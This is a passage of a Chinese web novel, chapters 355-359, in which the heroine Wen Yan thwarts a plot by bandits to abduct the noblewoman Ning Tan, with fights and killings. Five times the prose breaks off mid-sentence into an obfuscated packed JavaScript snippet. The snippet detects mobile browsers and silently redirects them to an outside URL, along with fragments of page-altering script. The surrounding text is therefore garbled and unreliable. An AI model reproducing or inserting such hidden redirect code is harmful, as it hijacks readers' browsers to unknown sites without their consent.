“抱歉,我们店要提前预订,不接待散客。二位,我真的很忙,就别耽误彼此的时间了好吗?” 闻颜油盐不进的样子,让江心葵知道,曾经无往不胜的孝道二字,已经拿捏不住闻颜了。 闻颜的心就是石头做的,母女之情根本捂不热她。 不如直表来意。 “我们想跟你拿一些炭。” “拿一些炭?”闻颜差点笑出声,谁不知道现在的炭有多紧俏,她说拿就拿啊! 不过她倒想看看,这对母女到底有多没底线:“现在京城的炭供不应求,我凭什么要给你们?” 闻如月哼了一声:“我们又不是不给银子。” “那你们要多少?什么价格?” “我们会给你市价的十倍,但是我们只要质量好的炭,你有多少我们就要多少。” 闻如月都计划好了,把闻颜的炭拿回去之后,就转给霍耀行售卖。 她转手一趟,就能赚到其中的差价,简直一本万利。 闻颜点点头:“可以啊! 刚好我昨日在兴隆杂货铺看过炭价,按照品质分别是十两、二两、八百钱一斤。按照你们说的十倍价格,那就是百丽、二十两、八两银子一斤,我手里还有几十万斤炭,一手交钱一手交货吧。” 闻颜朝她伸出手。 “什么!” “不可能!” 母女俩齐声惊呼。 闻颜嘲讽地看着他们:“原来是穷酸买不起啊。” “谁说我们买不起了?你的炭能跟‘兴隆杂货铺’的质量比吗? 你的都是普通炭,我们会给官府越冬炭的十倍价格,除此之外你就别想了。” “扑哧……”闻颜没忍住,一下就笑喷出声。 她指着自己的脑袋:“你们是不是觉得我脑子冻傻了? 现在外面的炭都贵到什么价格了,你们竟然还想跟以越冬炭的价格来收。 到底是我傻还是你们傻? 买不起炭就请回吧。”闻颜赶人。 见她们不走,闻颜就往她们身上踹雪。 母女俩被气得吱哇乱叫,都这样羞辱她们了还不肯离开,可见他们指着木炭赚钱的心情有多急切。 最后还是孟希延出面,江心葵母女才离开。 元小头领看完全程,啧啧称奇:“没想到闻家竟是这种人,让**开眼界。” 孟希延脸上没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580972|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么情绪:“她从来都不是闻家的掌上明珠。” 闻颜把佩儿送出来后,元小头领他们就离开了。 ** 翌日一早,闻颜一早就出发去跟孟希延汇合。 临出门时,碰见今日的客人。 “盛夫人。”闻颜上前寒暄。 她有些意外,盛夫人竟会在‘清风小楼’宴请客人。 盛夫人曾经也是京城的风云人物。 她出身不凡,夫婿也十分出色,还是丞相府的嫡长子。 他为人正直,品貌兼优,是满城皆知的大才子。 大家都认为她的夫君会是下一任丞相府家主,盛夫人是当家主母。 不曾想,五年前她夫君出事,大房仕途无望,即将到手的家主之位失之交臂。 盛夫人从此深居简出,渐渐就淡出了京城的权贵圈子。 按照她的低调来说,不应该张扬地到炙手可热的清风小楼订位,而且还大手笔地包下整个铺子。 看来,丞相府最近不平静。 “原来是颜小姐,百闻不如一见。”盛夫人对闻颜礼貌客气。 “盛夫人也比传闻中更加沉稳大气。”闻颜很意外盛夫人的和善。 虽然‘清风小楼’在京城风头正盛,她这个名声大噪的东家,在权贵眼中,不过是一个薄情负义,抛头露面,上不得台面的女子。 盛夫人对自己也太过客气。 “那就提前预祝盛夫人玩得开心。”闻颜朝她盈盈一礼。 盛夫人点点头,在侍女的搀扶下走进了清风小楼。 霜姨对闻颜道:“小姐,我先进去招待客人了。” 闻颜想了想,对霜姨交待:“等等。今日给盛夫人的茶点里,多送一份我调配的蜜香茶,切记,在茶里加二钱参须。” 霜姨应了一声,就进去准备接客了。 闻颜驾着马车来到南城门口。 孟希延早就到了。 他带了八个人,除了辰十一、辰十二,还有孟希延的两位庶弟,剩下的四人都是孟家得用的家仆。 他们跟闻颜都熟识,热情地打招呼,还请她坐下来一起吃早食。 第355章:守株待兔 “我已经吃过了,你们吃吧。”闻颜找到老板,给他们一人加两个鸡蛋,二两煎肉。 她闲着无聊,就在附近的小摊小打包了许多食物。 什么饼子、饺子、面条子,方便煮的她都买了些。 她买好东西,孟希延他们也三两口把早食吃完了。 孟希延用帕子擦擦嘴,起身道:“你是怎么安排的?我们现在就出发吧。” 闻颜看见四个家仆,身上虽然穿着袄子,双手、鼻子和耳朵还是冻得发红。 还有一名家仆一直在流鼻涕,打喷嚏。 接下来一整天都要待在寒风里,可别把人冻坏了。 “你们等一等。” 闻颜爬进马车里,很快就抱着一堆东西出来,递给他们:“喏,天气冷,我们要一直呆在室外,你们把这些都换上吧,别冻感冒了。 对了,如果穿了纸裘,就把它穿在里面。” 衣服这种暧昧的东西他们哪敢收啊,摆着手挪连连拒绝。 万一传出什么流言蜚语,迟飞不得捶死他们啊! 闻颜看穿他们的想法,杏眼一瞪:“想什么呢!这是我在布庄拿的货,赶紧去换上,磨磨唧唧的我让迟飞打你!” 闻颜一凶,他们就老实的去换衣裳,结果全都让衣裳撑得胖了一圈。 走起路来摇摇摆摆的,就像还没长出真羽的小鸡崽。 闻颜忍着笑,一行人就出发了。 一路上,闻颜将宁家小姐回京的信息又复盘了一次。 孟希延心仪的女子,名叫宁叹。 出生书香门第的清流之家,她的家族无论男女,都极注重名声。 她自小便饱读诗书,恪守族规礼仪,人生按部就班,十四岁议亲。 十六岁成亲前夕,未婚夫病逝。 未来婆婆认为是她克**自己的儿子,便将丧子之痛转嫁到她身上。 她还未出嫁,便被要求守望门寡,扶陵回乡,终身守节。 她只得遵从。 五年过去,宁小姐回京给爷爷过寿,却在近郊被土匪劫走。 她的丫鬟逃回京城求救,宁叹的亲生爹娘想救她,却遭族人所阻。 族人却怕她的遭遇,影响族中清誉。 宁叹的弟弟知道孟希延喜欢他的阿姐,于是跑去孟家求救。 孟希延不在京城,孟迟飞单枪匹马去救兄长心仪的姑娘。 她一路杀穿土匪窝,最后在大佛寺山脚的树林里,找到被玷污,被毁容想的宁小姐。 宁小姐不堪受辱,选择自尽,幸亏孟迟飞来得及时,才将她救下。 今生,希望能来得及救下她! 离开京城百里,官道上的积雪就渐渐厚了起来,路也变得泥泞。 马车不好行走,拉慢了速度。 两个时辰就能到的路程,他们愣是多花了一个时辰。 他们在一个岔路口停下。 闻颜从马车里掏出一口大锅,就开始烧火煮东西。 众人一脸茫然:“这里前不着村,后不着店的,能做什么事?” 正想怂恿年龄最小的辰十二找闻颜打听。 锅里就传出阵阵诱人香气。 “是鸡汤!”他们哪还顾得上打听消息,全都围在锅边,盯着锅里的吃食咽口水。 “颜颜,冰天雪地弄出鸡汤,你是怎么做到的?” “山人自有妙计,就是不告诉你。”闻颜故意逗他们。 不过就是提前熬好鸡汤,再放到室外,连肉带汤冻成冰块,吃的时候煮开就能往里面加东西了。 十人美美的吃了一顿。 闻颜就拿出舆图,就开始给大家分派任务。 她将人两两一组,画出六个范围,将他们分别派过去:“仔细盯梢过往的马车,有形迹可疑的,全部拦下来。” “什么样才叫形迹可疑?” 闻颜想了想,才道:“队伍是南方口音,伍里有人脸上带伤疤的。” 前世孟迟飞跟她说过,其中一个土匪的脸上,有一块圆疤,极像被刺了字的犯人,将那一块皮肉烫毁。 “希延大哥,你一个人去大佛寺附近蹲守。” “你跟我一起。”孟希延立即道。 冰天雪地,放任闻颜一个弱女子,太危险了。 “不用,我选的这条路僻静,人流少遇上的可能性最小,而且离你又近,你随时都能赶来接应我,不是吗?” 任闻颜说得天花乱坠,还是被孟希延强制安排和辰十二一起,没有商量的余地。 闻颜抿了抿唇:“……那好吧。” 分派好任务,闻颜又每人给了三箭响箭:“一旦发现情况,就发出响箭,我们就近支援,知道吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587931|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孟希延有此意外,闻颜准备得这般齐全。 但她越是郑重,就说明这件事情越重要。 随后,她又把马车里的货物分给大家。 蹲点也不能干蹲着。 她就弄了大量的羊毛衣裳出来,让他们摆摊售卖,还能赚上一笔。 一箭双雕,何乐而不为呢! 随后,他们就各自出发。 孟希延看着走远的闻颜。 他知道,闻颜隐瞒了很多很重要的。 但他相信闻颜的品性,更相信亲妹妹看人的眼光。 迟飞认定的朋友,品性不会差。 更不会害他们。 闻颜拿着舆图,很快就到了圈定的地点。 这里有一个茶棚,闻颜就跟花棚老板租了一小块位置,摆摊卖起羊毛衣裳来。 这里距离京城较远,还没有货郎把她的羊毛衣裳和手套带到这里来。 起初她的货物并不受欢迎。 第一天,她只卖出两件衣服,还是茶棚老板见她带着弟弟讨生活可怜,衣裳卖得又不贵,才买了两件。 他们都没等到可疑人物。 第二天。 闻颜的衣裳生意就好了起来。 原来是茶棚老板穿了衣裳之后,觉得很保暖,就回村宣传了一圈。 再加上夜里下了雪,便有许多村民慕名而来。 不过半日,她的衣裳就卖得所剩无几。 闻颜让辰十二回去补货,自己在这里盯着。 辰十二揉着屁股:“我骑马屁股疼。” 闻颜无奈,又不能什么都不做,在这里干守着。 这样会很可疑。 闻颜只得快马加鞭自己回去一趟,拿到货就赶了回来,她还抽空给其他小队也送了一些:“怎么样?有没有可疑的人路过?” 辰十二摇头:“没有可疑的人。天上下着雪,别说是南方人,就连附近的村民都不出来走动了。” 闻颜一松了一口气。 就这样在茶棚守了五天。 这天一早,茶棚就来了一支队伍。 只从穿着,闻颜便认出,他们打南方而来。 闻颜便格外注意,直到一位妙龄女子,被人搀扶着从马车上下来,闻颜便瞬间瞪圆了眼睛。 她走的,竟是这条路! 第356章:孟希延的心上人 大佛寺附近的官道上。 某间不起眼的茶棚里,孟希延穿着一身灰仆仆的短褐,肩膀上搭着一条毛巾。 “客人您慢走。”他躬腰驼背地送走一桌客人,扯下帕子就开始清理桌子上的杯碟。 他一躬身,正好露出后背的一个大鼓包。 那日来到这里之后,孟希延并未听从闻颜的安排,假扮成货郎。 而是找了一间茶棚当起跑堂。 他刚收完一张桌子,又前呼后拥的来了新的客人。 孟希延黝黑的面庞微微皱眉。 年前一场暴雪寒潮,把许多去大佛寺祈祷的夫人千金困在寺庙。 虽然这段时间大雪断断续续,但那些夫人千金早就在山上呆不住了。 趁着这几天雪小了些,赶紧下山。 他在此处,已经等了五天,每天接待的都是香客。 虽然其中有一两家人操着南方口音,并不是沧州那边的。 他夜里悄悄去调查,确实没发现可疑之处。 “咱们已经等了五天了,形迹可疑的南方人根本没有出现,颜颜不会是在耍着我们玩吧!” “还能吧!颜颜不像这么恶劣的人。” “别说,我都爱上做生意了。回去我就跟大少爷请辞,转行做货郎算了。” 就在他们的耐心快要耗尽之时,好消息传来。 他们要等的人终于出现了。 坏消息是,那些人不是出现在大佛寺附近,而是出现在闻颜盯梢的悬若寺。 当时,闻颜正跟茶棚老板聊着天。 一支队伍就停在了茶棚外面。 茶棚老板把布巾子往肩膀上一搭,便殷勤地迎了上去。 “客人,您里面请。” “有什么好东西,全都端上来。” 领头的,是一名身材高大魁梧的汉子。 他穿着一身劲装,身体壮硕,脸上横肉,看着就不好招惹。 他说的官话,虽然在尽量模仿北方人的语气,闻颜还是从中听出了吴州口音。 他的身后,还跟着一名同伴。 那名同伴许是惧寒,头上戴着帽子,脸上蒙着布巾,把脸遮得严严实实,只露出一双透着阴鸷眼睛。 闻颜的视线与他对视上,瞬息间便有一种,被他锁定成猎物的恐惧。 那不是简单的眼神,那是杀过人的眼神。 寒意从脚底蹿到脑门,后背瞬间起了一层冷汗。 男人的眼神明明没有变化,闻颜却觉得他在嘲笑自己。 脑子里嗡的一声,她下意识地躲开视线,并且将辰十二护在身后。 男人却不肯放过她,几步走到摊位面前:“你刚才在看什么?” 他的嗓子像是被撕裂过一般,听起来和他的眼神一样可怕。 “没……没什么?”闻颜佯装恐怕,捧起一件衣裳,递到他面前:“我……我看你捂得严实,以为你很冷,就想卖衣裳给你。” 她说话时声音都害怕得颤。 男人盯了衣裳一眼,不屑地冷嗤一声,转身就走了。 闻颜轻拍着胸口松了口气,就见一位婢女搀扶着一位二十出头,身形纤弱的女子,从马车上下来。 看清那张脸之后,闻颜惊讶地瞪圆了眼睛。 竟然是她! 宁家小姐宁叹。 孟希延的心上人。 前世,闻颜见到的宁叹,已经毁容哑了嗓子,却仍能看出她曾经的美貌。 今生见到完好容颜,闻颜不得不感叹:不愧是让情窦初开的孟希延一见钟情的女子。 静看她肤若凝脂,粉面桃腮,眼若秋水剪瞳。 举手投足间,顾盼生辉,弱柳扶风。 这样的美貌,恐怕只有孟迟飞能将她的容貌比下去。 许是察觉到闻颜的注视,宁叹冲着闻颜展颜一笑。 那笑,仿佛春风拂面,还带着怡人的花香,令人心旷神怡。 闻颜回以微笑。 辰十二啧啧叹道:“她可真美,都快赶上迟飞姐姐了。” 闻颜回过神。 等等…… 这情况不对啊! 前世的宁叹,不是在大佛寺附近,被孟迟飞救走的吗? 今生她怎会在此? 两世之间为何会有如此大的区别? 是她会绕道去大佛寺上香? 还是说,前世的她就是走的这条路,被折磨完了之后,故意掳去了大佛寺?! 可为何要费这么大的周折,将她带去大佛寺呢? 是何目的? 一名守望门寡的女子,被权贵官宦家的夫人目睹衣不蔽体,身在雪地里,全身都是受尽**的痕迹。 这不是止是要让女子死,更会带累女子背后的家族。 得亏宁叹有个忠心的丫鬟和孟迟飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587932|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才让幕后墨手没有得逞。 一时间,闻颜心中闪过许多想法。 总之,不管是哪一种。 她安排孟希延英雄救美的事,都不能有任何差池。 她要要给孟希延一个抱得美人归的机会。 宁叹现在的神情举止,不像是被挟持了。 看来,她还没有遭遇不测。 她的脑子迅速转动想办法。 茶棚老板动作麻利地上了茶水糕点和食物。 那名阴鸷的男子,正面向闻颜坐着。 食物来了之后,他便揭下裹住脸颊的脖围,就要吃东西。 谁料,那位满脸横肉的同伴,用胳膊肘撞了一下,还用眼神警告了他一下。 阴鸷男子,只得将放下脖围重新遮住脸,他的有个似乎有什么东西。 闻颜一直在用余光观察宁叹,意外观察到两人之间的异常互动。 这两人想遮掩什么?! 闻颜一时想不到万全之策,只能走一步看一步。 她拉过辰十二的手,在他手上写下:“这支车队就是我要找的人。” “啊……他们就是……”辰十二激动,不由拔高音量。 闻颜一把捂住他的嘴,恶狠狠瞪他:“嘘,别让他们听见了。” 辰十二连忙点点头,表示知道了。 闻颜这才松开了他。 辰十二连忙小声问他:“你确定是他们吗?” 闻颜点点头,在他手下写接下来的计划。 辰十二立即摇头,在她手心写下反驳:“不行,这太危险了,你不能去。 你功夫差,我功夫高,让我去。” 闻颜立即反驳回去:“我是姐姐,你得听我的。” 辰十二不甘心,还想据理力争。 只见闻颜捏着拳头,在他面前晃了晃。 辰十二不甘心的撅了撅嘴:“无听你的还不行嘛!” 闻颜又交待了几句。 “那我就先回去补货了,小弟你看好摊子,知道不!”没一会儿,闻颜跟辰十二交待一声,就架着自家的马车离开了茶棚。 离开茶棚的视线范围。 闻颜就带着马车进了旁边的树林。 她卸下车厢,便安静的潜伏在树林里。 约莫过了两刻钟,宁叹的队伍就出现在她视线里。 闻颜见状,就骑着马悄悄跟上。 第357章:闻颜** 从这里回到京城,有四五个时辰的路程。 宁叹他们快马加鞭,还能赶在城门落钥之前,回到京城。 可这支队伍,反而不紧不慢,走得十分悠闲。 宁叹的丫鬟好几次催促他们快一点。 “砰——” 忽然,茶棚上空传来一声炸响。 闻颜抬头看去,是辰十二的响箭,他在给其他人报信,到这边汇合。 横肉男与阴鸷男也回头看了一眼,两人窃窃私语咬了几句,便继续前行。 不多时,暮色降临。 队伍悬若山最危险的地段停了下来。 宁叹的丫鬟再次过去询问:“怎么回事?为什么不走了?” 横肉男对着丫鬟狞笑:“我们已经到地方了啊!” 丫鬟被他笑得浑身不舒服,心里害怕,却佯装镇定:“怎么就到了,这里荒郊野外的,听说时不时还有土匪出没,这时候安全,我们还是快走吧,早点回去。” “你也说了,这里荒郊野外,距离京城还有很长一段距离,不如我们就在此驻扎一夜,明日再走也不迟。” “这里荒郊野岭,常有土匪出没,不如我们一鼓作气,赶路到城门口再作休息。”丫鬟强笑着应付。 “要是我们偏不呢!”领头之人坏笑着。 阴鸷男也在此时扯下了脸上的脖围,露出一张丑陋的脸。 寒风袭来,马车上的气死风灯摇摇晃晃。 昏暗的光线下,隐约可见阴鸷男的面容丑陋。 他的右脸颊上,还有一块印章大小的扭曲疤痕。 孟迟飞说,被她杀死的匪徒之中,有人脸上带着疤痕。 莫非……他们就是那些匪徒? 他们早就潜伏在宁叹身边,伺机而动。 看来,他们准备选在这里动手。 “小姐,快跑!”丫鬟突然转身就朝马车狂奔。 然而,她终究只是个手脚利索些的普通丫鬟。 阴鸷男瞬间拔出腰间佩刀,朝丫鬟斜砍过去。 “啊……” 丫鬟发出一声惨叫。 “纸鸢!”宁叹跳下马车,看见的就是这一幕。 她心惊胆战,扑过去抱住她。 “主仆情深,还是一起**吧!”阴鸷男见她不死,又补一刀。 纸鸢硬生生受下,并用力推了宁叹一把,“小姐快走,要活下去!” 随即,她便喷出一口鲜血,软倒在地。 这一切发生得太快,闻颜还没来得及出手相助。 宁叹带着七八名家仆,瞬间就被潜伏在队伍里的匪徒几刀**。 宁叹恨恨瞪了那些匪徒一眼,提着裙摆,转身就朝树林里跑。 别看宁叹身形单薄柔弱,跑起来却一点都不慢。 “宁叹,这边!”闻颜朝她大喊。 宁叹听出女子的声音,顾不上分辨是敌是友,径直朝黑越越的树林跑去。 两人双向奔赴。 “把手给我。”闻颜朝她大喊。 宁叹终于看清闻颜的脸,是一位年轻女子。 是最普通的姑娘打扮,看她的眼睛里全是焦急。 没有半丝犹豫,她朝闻颜伸出手。 闻颜抓着她的手腕用力一拽,宁叹也借力在地上一蹬,她便轻盈的跃上马背,坐在闻颜身后。 闻颜立即调转马头,朝树林深处跑去。 “**!别让她跑了!快追!” 横肉男和阴鸷男,打马朝树林里追来。 嘎吱嘎吱…… 马蹄踩在雪地里。 宁叹搂着闻颜的腰,紧张问道:“我们要去哪里?” “逃命!”闻颜驾马朝北跑去。 相反方向,她提前布置好的响箭升空。 ‘砰……’响箭在天空炸开。 “**,是响箭!她们在唤同伴,快追,速战速决。不然剩下的银子可拿不到手。”横肉男怒道,鞭子用力地抽在马屁股上。 马儿嘶鸣一声,飞驰出去。 纵使闻颜马术不错。 但她的马驮着两个人,使得他们之间的距离,越拉越近。 没过多久,她们就被团团包围。 对方有七八个人,每一个都拿着武器。 “跑?看你们还想往哪里跑!”阴鸷男围着闻颜二人打转,嘲讽道,“今天,我会让你们死无葬身之地!” 宁叹咬了咬牙,对阴鸷男道:“你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593751|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要找的是我,我留下,你们放她走。” “谢谢你帮我。救命之恩,来世再报。”宁叹对闻颜道过急谢,就想翻身下马。 闻颜一把就将她扯了回来:“我怎么可能为了自己的安全,送你**! 再说了,我当面抢走了你,就是在打他们的脸。 我又看清他们的模样,他们绝对不会让我活着离开。” “死丫头,没想到你还挺聪明的,这就被你看穿了。”阴鸷男舔着手里的刀,“看在你这么聪明的份上,我会让你死得很痛苦的!” 宁叹拉住闻颜的手,愧疚道:“对不起,是我连累你了。如果我们能活下去,你就做我的妹妹,我一定会好好照顾你。” “一言为定哦!”闻颜举起手掌,宁叹毫不犹豫与她击掌为誓。 随后,闻颜便抬起胳膊,指着阴鸷男。 阴鸷男以为她在临死前的挑衅。 谁知。 ‘嗖’一地道破空声。 一支小箭朝阴鸷男射去。 阴鸷男反应慢了半拍,躲避之不及,小箭扎进他的左肩。 “**,你敢偷袭我!”阴鸷男怒不可遏。 想杀她泄愤,却忌惮她还有袖箭,不敢贸然上前。 “偷袭你又怎么样?一个只敢使些小人伎俩的孬种。我看你根本就不是个男人。 哇,你不会是个真太监吧! 那你家岂不是要绝后了? 哎呦呦,好可怜哦!怎么跟路边的野狗一样可怜!” 闻颜毒舌的挑衅几句,阴鸷男就被她刺激得失去了理智,提着刀就朝闻颜扑过来:“啊啊啊……你竟敢骂我是狗,我弄死你!” “哎呦,我好怕怕哟!”闻颜吓得花容失色,手臂乱舞,却趁机又射出一箭。 “扑哧” 这根袖箭,直接扎进阴鸷男的脖子里。 阴鸷男捂着脖子,鲜血顺着他的指缝汩汩流出,嘀嗒嘀嗒往外流。 阴鸷男不可置信地看着双手,喉咙里发出嚯嚯的痛苦声音。 没几下,他就从马上坠落,抽搐几下,就失去了性命。 横肉男和他的手下都吓了一跳。 “你……你居然敢**!” 第358章:真正的救兵 “你们不是才刚刚杀过人吗?干嘛这么惊讶!”闻颜嘲讽回去的同时,余光看向沙沙作响的树林,冲黑暗中摇了摇头。 “你……”横肉男指着闻颜,气得咬牙切齿。 没想到他一个打雁的,今天竟然被雁啄了。 不过他并未惊讶太久,就狞笑起来:“你再厉害又如何,你一个人还带着个拖油瓶,而我们有七个人,耗也能耗死你。” “你确信?”闻颜撩起衣袖,露出胳膊上的袖箭,“你以为袖箭我只有一个吗?” 闻颜抚摸着袖箭上的箭匣,得意地抚摸着,“没想到,我有两把袖箭哦。 每只袖箭有五支小箭,杀你们绰绰有余。 还有,我的箭术很好,是百发百中的那种哦!” 她绷直手臂,指着横肉男:“你要不要试一试!” 再等等。 她和辰十二都发射了响箭,相信孟希延他们,很快就能赶过来救她。 自己只要拖延到他们过来就好。 闻颜太自信了,横肉男起初果然被她唬住。 但她迟迟没有反击,就说明她心虚。 横肉男看穿她计划。 “她果然是在等援兵!大家一起上,我们以七敌还能让她逃了!”横肉男大喝一声。 七个匪徒便朝她袭来。 闻颜眼疾手快,转身就朝一人射箭。 ‘扑哧……’那人胸口中箭,惨叫一声,摔下马。 包围出现缺口。 闻颜猛夹马腹,胯下马儿长嘶一声,从缺口突围出去。 “**!快!追上去!”横肉男大叫一声,就追上闻颜他们。 闻颜回头看了一眼他们,她回头问宁叹:“会骑马吗?” “会!”宁叹大声道。 “你来控马。”闻颜说着,就把缰绳交给了她。 宁叹:“你要干什么?” “你马上就会知道了。”闻颜说着,闻颜突然双脚脱蹬,身体往前扑去,抱着马脖子转了一圈。 等她重新坐回马鞍上时,已经与宁叹面对面了。 宁叹愣了一愣。 只见一张白净净,圆嘟嘟,带着婴儿肥的脸出现在她面前。 是她! 那个在茶棚卖衣裳的农女! 一个小农女可不会有这身功夫。 看来,她的身份不简单。 不过现在不是思考些的时候。 怎么逃出虎口才是眼下最紧要的事。 一箭射空,一箭射中一匹马的大腿。 那马惨叫一声,不仅没有停下来,反而痛到发狂,飞快地冲向他们。 宁叹见状,也驱使马儿加快速度,却因为两个人过重,大大影响到速度。 没一会儿,他们就被追上,围了起来。 敌众我寡。 闻颜突然抬头,大吼一声:“就是现在!” 宁叹抬头,就见一个人影从天而降。 他直接落在失控马背身上。 一拳挥出,马背上的土匪就被砸飞出去。 他迅速拔掉马腿上的袖箭,并控制住马匹护卫在他们身后。 宁叹震惊。 他……他不是‘农女’的弟弟吗? 看着十四五岁的年纪,没想到功夫竟这般出神入化。 “姐,你们先走,我来拖住他们。”辰十二道。 “你当心!”闻颜提醒一句。 她本想把这些土匪遛到孟希延赶过来的,眼下来看是不成了。 希延大哥的幸福重要,但他们的三条小命更重要。 “驾!”宁叹也不拖后退,立马打马狂奔离开。 他们且战且退,在树林里绕了大半天。 忽地,闻颜她们的马儿脚下一绊。 马儿失去平衡,闻颜和宁叹同时被甩飞出去。 “老天奶耶,有绊马绳!”闻颜惨叫一声,大声提醒:“十二,有绊马绳。” 就在她出声提醒的同时,第二根绊马绳绷直。 辰十二的马儿也往前栽去。 好在辰十二轻功一流,他猛蹬马背借力,轻松躲过了陷阱。 闻颜下意识地护住了宁叹的脑袋,两人滚在地上,触发另一个陷阱。 捕兽网瞬间收紧,瞬间就把两人吊了起来,挂到树上。 “姐!”辰十二大惊失色,想飞奔过来救他们。 “别过来!”闻颜被甩得晕头转向,朝辰十二大喊,“这下面有陷阱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595085|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 果然看见下方有一个大坑,坑里摆满了削尖的木桩。 这要是掉下去,非得扎成刺猬不可! 万幸辰十二反应快,及时刹住脚步,才没有直接掉进去。 闻颜二人挂在陷阱上方,不能直接砍断绳子。 那样,她们也会掉进陷阱之中。 这样的陷阱,起码要两个大力之人,一人放吊绳,一人用绳子把他们拉到岸边才行。 凭辰十二一己之力,根本不可能救下她们。 辰十二急得眼圈都红了:“姐,我要怎么做才能把你救下来!” 若是希延哥哥和迟飞姐姐,肯定能轻松解决这些陷阱。 他急得直拍自己的脑袋:“蠢脑子,都怪你!想不出好办法,连姐姐都保护不了。” 横肉男一行再次将他们围住:“大费周章的放响箭,以为你能叫来多厉害的救兵,没想到竟摇来这么一个毛头小子。 我承认,他的功夫是不错! 但是有句话,叫做双拳难敌四手,更何况这里还是我们的地盘! 你们就是纯纯的自投罗网,自寻死路!” 横肉男过来,对闻颜极尽嘲讽。 “你不是很厉害吗?你倒是下来杀我啊! 怎么,你是不行,还是你根本做不到啊,哈哈哈哈!” 横肉男发出一阵桀桀怪笑,又咬着手指吹了一个口哨:“我让你见识见识,什么叫真正的救兵。” 随即,就听树林里传来沙沙的声音。 只见许多人从林子深处蹿了出来。 他们个个手持武器,凶神恶煞的样子,一看就没少干坏事 闻颜连忙朝辰十二大喊:“别管我,你快走,别被他们抓住了。” “可是……” “可是个屁,你敢不听我的话,我鞭子抽你!”闻颜吼他。 辰十二委屈地撇撇嘴,转身就飞进了林子,再也不见踪影。 横肉男想派人去追,不过他们的人根本追不上。 辰十二顺利逃走,闻颜松了口气。 他把怒火转移到闻颜二人身上:“天堂有路你不走,地狱无门你闯进来,既然你这么爱管闲事,我一定会好好招待你们,让你生不如死!” 第359章:我们的救星来了 横肉男嚣张不已。 闻颜要不是已经落在他手里,高低要放两箭,把他的脑袋射个对穿。 算了,人在屋檐下。 闻颜忍了! 横肉男一挥手:“来人,把人给我放下来。” 防止横肉男以牙还牙,闻颜连忙将胳膊上的袖箭拆下来,扔进了陷阱里。 宁叹道歉:“对不起,都是我连累了你。” 闻颜摆摆手:“是我自己要救你的,跟你有什么关系。” 宁叹眨了眨眼睛:“你的思路倒有些别致! 不过终究是我连累了你,只要能活着出去……” 许是觉得没有活下去的可能,宁叹一脸失落。 “哎呀,别灰心丧气嘛,不到最后一刻,谁能笑到最后还不一定呢!” 他们想要让宁家名声扫地,就不会轻易**灭口。 只要再拖延一会儿,孟迟飞他们就能赶来相救。 闻颜在宁叹耳边低语几句,宁叹眼神亮晶晶的:“真的吗?” 见闻颜点头,宁叹也鼓起了勇气。 闻颜二人很快被放到地上。横肉男立刻就想把她们杀了泄愤。 “大王饶命!大王你听我狡辩,不对,你听解释。”闻颜连连作揖,把自己扭成矫揉造作的样子。 “大王,你大费周章的下山掳这位姑娘,肯定是想抓她去山上当压寨夫人吧! 您看您费了这么多功夫,好不容易把人掳到这儿来了。 临门一脚把我们杀了,那您前面的力气不就白出了吗? 还得挖坑埋尸,这多累啊! 不如您大人有大量,先放我们一马。 我们去给你做压寨夫人,我们有手有脚,还能自己爬上山去,不让你们花费一点力气,您看多划算啊!” 